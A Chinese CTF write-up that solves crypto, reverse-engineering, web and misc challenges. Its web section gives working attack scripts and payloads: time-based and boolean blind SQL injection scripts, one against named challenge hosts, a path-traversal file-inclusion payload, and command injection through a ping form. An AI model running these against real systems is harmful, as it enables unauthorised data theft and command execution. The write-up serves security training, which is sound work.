火种CTF Writeup

Crypto

解密1

\u606d\u559c\u60a8\uff01\u006b\u0065\u0079\u007b\u0074\u0068\u0065\u0020\u0066\u0069\u0072\u0073\u0074\u0020\u006b\u0065\u0079\u007d

Unicode编码,直接解码恭喜您!key{the first key}

flag:key{the first key}

解密2

Tk5TWFM2M0pPTlJXR1kzR09KVEdPNURCTVZUR0NaM1NOQjJIMj09PQ==

大小写,带等号base64,直接扔到脚本解密。

flag:key{iscccfrfgtaefagrht}

解密4

内容:二战时盟军截获德军一段密码,密文为:00000100001000001101000001100001010(密钥:large)

搜索二战时德军密码得到费娜姆密码

将密钥转化为二进制与密文异或即可解密

flag:nihao

解密5

我来,我见,我征服 e6Z9i~]8R~U~QHE{RnY{QXg~QnQ{^XVlRXlp^XI5Q6Q6SKY8jUAA

试了一些加密方法,发现是凯撒(可能跟我征服有关吧)。

python脚本

1
2
3
4
5
6
7
8
9
10
11
# -*- coding:utf-8 -*-
s='e6Z9i~]8R~U~QHE{RnY{QXg~QnQ{^XVlRXlp^XI5Q6Q6SKY8jUAA'
l=len(s)
for i in range(0,128):
d=''
for j in range(0,l):
if(ord(s[j:j+1])+i>128):
d=d+chr(ord(s[j:j+1])+i-128)
else:
d=d+chr(ord(s[j:j+1])+i)
print str(i)+":"+d

解码得到:a2V5ezY4NzQzMDAwNjUwMTczMjMwZTRhNThlZTE1M2M2OGU4fQ==

base64解码得到flag。

flag:key{68743000650173230e4a58ee153c68e8}

解密6

小明入侵网站后获得了管理员的密文,由于太高兴了手一抖把密文删除了一部分,只剩下前10位d9ddd1800f,小明根据社工知道管理员的密码习惯是4位的数字加字母,你能帮小明恢复密码的哈希值吗?(提示:flag为密码的哈希值)

直接写脚本爆破:

1
2
3
4
5
6
7
8
9
10
11
12
import hashlib
md5='d9ddd1800f'
s=r'1234567890QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxc'
for a in s:
for b in s:
for c in s:
for d in s:
st=a+b+c+d
mst=hashlib.md5(st).hexdigest()
if(mst[0:10]==md5[0:10]):
print mst
break

flag:d9ddd1800fb812bd62e3fc55c35599b0

解密7

你猜这是什么东西,记得破解后把其中的密码给我。 00031141:Administrator:s1riu5:C6AE3F7D7534AE05AAD3B435B51404EE:65D4F6EC4BE18E14F3665804EF1E9496(答案为非常规形式)

百度得知是LM-Hash。直接用工具解密得到密码456278

flag:456278

Reverse

注册码去哪儿了:

提示flag为anyuntec对应的注册码。用ida打开。

反编译sub_401060函数,核心加密过程如下。

1
2
3
4
5
for ( i = 0; i < strlen(&String); ++i )
{
if ( *(&v7 + i) != i + *(&String + i) - strlen(&String) )
break;
}

发现string储存了对应的用户名,并将每一位减去用户名的长度l,加上对应的位数,就是result。

python脚本如下:

1
2
3
4
5
6
7
8
string='anyuntec'
l=len(string)
result=''
j=0
for i in string:
result=result+chr(j+ord(i)-l)
j=j+1
print result

flag:Ygspjqcb

一个简单的PE逆向

放入ida,发现众多函数,查找字符串定位函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
v26 = 0;
v4 = 1;
v5 = 4;
v6 = 14;
v7 = 10;
v8 = 5;
v9 = 36;
v10 = 23;
v11 = 42;
v12 = 13;
v13 = 19;
v14 = 28;
v15 = 13;
v16 = 27;
v17 = 39;
v18 = 48;
v19 = 41;
v20 = 42;
v21 = 26;
v22 = 20;
v23 = 59;
v24 = 4;
v25 = 0;
printf("please enter flag:");
sub_411136();
while ( 1 )
{
getch();
v1 = sub_411136();
v27[v26] = v1;
if ( !v1 || v27[v26] == 13 )
break;
if ( v27[v26] == 8 )
{
printf("\b\b");
sub_411136();
--v26;
}
else
{
printf("%c", v27[v26]);
sub_411136();
++v26;
}
}
v3 = 0;
for ( i = 0; i < 17; ++i )
{
if ( v27[i] != byte_415768[*(&v4 + i)] )//KfxEeft}f{gyrYgthtyhifsjei53UUrrr_t2cdsef66246087138\0087138
v3 = 1;
}
if ( v28 != '1' || v29 != '0' || v30 != '2' || v31 != '4' || v32 != '}' )
v3 = 1;
v27[v26] = 0;
printf("\r\n");

将字符串按照数组v4的数字取出与v27比较,如果相等,则success。

v4数组即最上方连续的一串整形变量,(1,4,14,10,5,36,23,42,13,19,28,13,27,39,48,41,42,26,20,59),相应的字符串为KfxEeft}f{gyrYgthtyhifsjei53UUrrr_t2cdsef66246087138\0087138,v27最后几位也就是1024},根据过程编写脚本。

1
2
3
4
5
6
flag=''
st = 'KfxEeft}f{gyrYgthtyhifsjei53UUrrr_t2cdsef66246087138\0087138'
index = (1,4,14,10,5,36,23,42,13,19,28,13,27,39,48,41,42,26,20,59)
for n in range(0,17):
flag = flag + st[index[n]-1:index[n]]
print flag

flag:KEY{e2s6ry3r5s8f61024}

Web

一道简单的Web题

网站显示:your ip is :xxx,类似于实验吧whoareyou运用的是X-Forwarded-For注入。
脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#-*-coding:utf-8-*-
import requests
import string
url="http://xxxx"
guess=string.lowercase + string.uppercase + string.digits+'{'+'}'
flag=""
for i in range(1,100):
havetry=0
for str in guess:
headers={"x-forwarded-for":"' +(select case when (substring((select flag from flag ) from %d for 1 )='%s') then sleep(7) else 1 end ) and '1'='1" %(i,str)}
try:
res=requests.get(url,headers=headers,timeout=7)
except requests.exceptions.ReadTimeout, e:
havetry=1
flag = flag + str
print "flag:", flag
break
if havetry==0:
break
print 'result:' + flag

flag:flag{4c9551d5be5612f7bb5d286785}

猜猜我在哪

网站显示../flag.php

访问robot.txt提示查看index.txt

1
2
3
4
5
6
7
8
9
10
11
```php
<?php
if (empty($_GET["file"])){
echo('../flag.php');
return;
}
else{
$filename='pages/'.(isset($_GET["file])?$_GET["file"]:"welcome.txt").'.html';
include $filename;
}
?>

文件包含,需要查看flag.php,但是最后有.html,需要%00作为文件的截断。

不知道文件具体位置。只好多../了几次,得到了flag。

payload:?file=../../../../../flag.php%00

flag:flag{31de3cbfdf2884987e65f77ebb5ac338}

前端跑路了QAQ

打开index.php还是啥都没有,猜测index.txt,发现index.php的源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
$ip = isset($_POST['ip'])?$_POST['ip']:die();
if(!preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}/i',$ip)){
die("ip 格式错误!");
}
echo strlen($ip);
if(strlen($ip)<7||strlen($ip)>21){
die("ip 长度错误!");
}
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' .$ip );
}else {
// *nix
$cmd = shell_exec( 'ping -c 1 ' .$ip );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";

判断字符串长度和格式符合ip规则,并执行ping命令,输入ip试试。

post:ip=1.1.1.1

1
2
3
4
5
6
7
PING 1.1.1.1 (1.1.1.1) 56(84) bytes of data.
--- 1.1.1.1 ping statistics ---
1 packets transmitted, 0 received, 100% packet loss, time 10000ms

7为字符串长度,后面是命令执行结果,那我们执行以下linux命令试试。

post:ip=1.1.1.1|ls

发现可以执行,并返回了文件名称。

post:ip=1.1.1.1|cat flag.php

flag:flag{d73669db24d3a35f74bfccd92741ea20}

小明的密码

开头询问用户名,密码,猜测盲注。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# -*- coding: utf-8 -*-
import requests
url = 'http://aim.zhugeaq.com:83/'
def check(payload):
postdata = {'username':'1','password':payload}
r = requests.post(url, postdata).content
return 'admin_r' in r
password = 'flag{9'
s = r'0123456789:abcdefg|~'
for t in xrange(33):
for i in s:
payload = '1\' or 1 union select 1,2,\'%s\' order by 3#' % (password+i)
if check(payload):
password = password + chr(ord(i)-1)
print password
break

flag:flag{93fcff2af3914f7}

一道很难的Web题

打开题目是一个登录界面,用burpsuite抓包,post传入username和pass的参数。

猜测是sql注入。

手工测试过滤了:

1
2
3
4
5
6
or
#
--
空格
%
……

之前看到的文章里有用=的布尔型盲注。构造payload尝试。

username='=(1)='1显示用户名错误。

username='=(0)='1显示密码错误。

括号里的内容就是bool值,可以供我们查询,直接运用python脚本。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# -*- coding: utf-8 -*-
import requests
url = 'http://aim.zhugeaq.com:85/01/login.php'
def check(payload):
postdata = {'username':payload,'pass':'xx'}
r = requests.post(url, postdata).content
return '密码错误' in r
password = ''
s = r'0123456789abcdef'
for i in xrange(32,0,-1):
for c in s:
payload = '\'=(mid((select(pass)from(admin))from(%d))=\'%s\')=\'0' % (i, (c+password))
if check(payload):
password = c + password
break
print password

flag:flag{b9b0b759ad3e8a5129044c115e042c59}

Misc

截获了一个文件

解压得到help.xml,内容为a2V5ezIwMTZfa2V5X2hlbHB9==,base64解密。

flag:key{2016_key_help}

这是什么

解压的到图片,用十六进制编辑,在文件底部发现&#107;&#101;&#121;&#123;&#121;&#111;&#117;&#32;&#97;&#114;&#101;&#32;&#114;&#105;&#103;&#104;&#116;&#125;,unicode编码,解码得到flag。

flag:key{you are right}

海贼王壁纸

下载解压,发现隐藏的Thumbs.db文件,用thumbs_viewer软件打开,得到两张图片的缩略图,找到对应的原图,notepad++打开,在其中一张图片中发现了flag。

flag:key{0123f42483c6cf93635d252cf79bbf0f}

我心永恒

解压是我心永恒的mp3文件,用notepad++打开发现了pass:pass_123_word,猜测要用MP3stego,输入对应的pass,得到flag。

flag:key{efrgrh48q4g5gh44q4fhfgg}

找鼹鼠

解压的到flag文件,用binwalk分析,发现是ext3的文件。

挂载到linux下读取

1
2
3
4
5
6
root@2333:~# mount -o loop flag /mnt/
root@2333:~# cd /mnt
root@2333:/mnt# ls
flag.txt lost+found
root@2333:/mnt# cat flag.txt
key{feb81d3834e2423c9903f4755464060b}

flag:key{feb81d3834e2423c9903f4755464060b}

中国菜刀

将数据包用binwalk分析,发现一个tar格式的压缩文件,直接binwalk -e解压,得到flag。

flag:key{8769fe393f2b998fa6a11afe2bfcd65e}